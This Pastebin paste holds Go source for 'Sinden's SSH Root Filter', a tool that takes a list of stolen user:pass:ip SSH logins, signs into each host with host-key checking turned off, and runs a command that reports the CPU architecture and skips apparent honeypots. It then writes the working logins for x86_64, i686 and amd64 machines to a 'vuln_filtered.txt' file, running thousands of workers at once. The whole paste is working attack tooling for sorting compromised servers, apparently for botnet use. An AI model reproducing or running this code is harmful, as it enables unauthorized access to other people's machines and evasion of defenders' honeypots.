Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- >> Sinden's SSH 64/32bit System Filter
- Credits to Google and the mind of Sinden.
- Info: Sorts list of SSH devices for 32/64bit system
- whilst also filtering out all honeypots.
- */
- package main
- import (
- "bufio"
- "bytes"
- "fmt"
- "golang.org/x/crypto/ssh"
- "net"
- "os"
- "strings"
- "sync"
- )
- func worker(c chan string) {
- for {
- s := <-c
- if len(s) == 0 {
- wg.Done()
- return
- }
- d := strings.TrimSpace(s)
- a := strings.Split(d, ":")
- user := a[0]
- pass := a[1]
- ip := a[2]
- config := &ssh.ClientConfig{
- User: user,
- Auth: []ssh.AuthMethod{
- ssh.Password(pass),
- },
- HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
- return nil
- },
- }
- conn, err := ssh.Dial("tcp", ip+":22", config)
- if err != nil {
- //fmt.Println("ERR: can't dial socket...")
- return
- }
- session, err := conn.NewSession()
- if err != nil {
- //fmt.Println("ERR: can't create session: "+err.Error())
- }
- defer session.Close()
- var b bytes.Buffer
- session.Stdout = &b
- //Checking for Arch and filtering honeypots out.
- session.Run("if [[ $(uname -m) == +(x86_64|i686|amd64) ]]; then if [ $(ls /home/) == \"richard\" ]; then echo \"\" >/dev/null; else uname -m; fi; fi")
- if strings.Contains(strings.ToLower(b.String()), strings.ToLower("x86_64")) { //x86_64
- fo, err := os.OpenFile("vuln_filtered.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0666)
- if err != nil {
- panic(err)
- }
- fo.WriteString(user + ":" + pass + ":" + ip + "\n")
- fo.Close()
- fmt.Println("[x86_64] Found SSH device: " + user + ":" + pass + ":" + ip)
- } else if strings.Contains(strings.ToLower(b.String()), strings.ToLower("i686")) { //i686
- fo, err := os.OpenFile("vuln_filtered.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0666)
- if err != nil {
- panic(err)
- }
- fo.WriteString(user + ":" + pass + ":" + ip + "\n")
- fo.Close()
- fmt.Println("[i686] Found SSH device: " + user + ":" + pass + ":" + ip)
- } else if strings.Contains(strings.ToLower(b.String()), strings.ToLower("amd64")) { //AMD64
- fo, err := os.OpenFile("vuln_filtered.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0666)
- if err != nil {
- panic(err)
- }
- fo.WriteString(user + ":" + pass + ":" + ip + "\n")
- fo.Close()
- fmt.Println("[AMD64] Found SSH device: " + user + ":" + pass + ":" + ip)
- }
- }
- }
- func populate(c chan string) {
- file, err := os.Open("list.txt")
- if err != nil {
- fmt.Println("Can't open list.txt (user:pass:ip)")
- }
- defer file.Close()
- scanner := bufio.NewScanner(file)
- for scanner.Scan() {
- c <- scanner.Text()
- }
- return
- }
- var wg sync.WaitGroup
- func main() {
- fmt.Println("Sinden's SSH Root Filter v1.0")
- c := make(chan string)
- go populate(c)
- for i := 0; i < 4096; i++ {
- wg.Add(1)
- go worker(c)
- }
- wg.Wait()
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement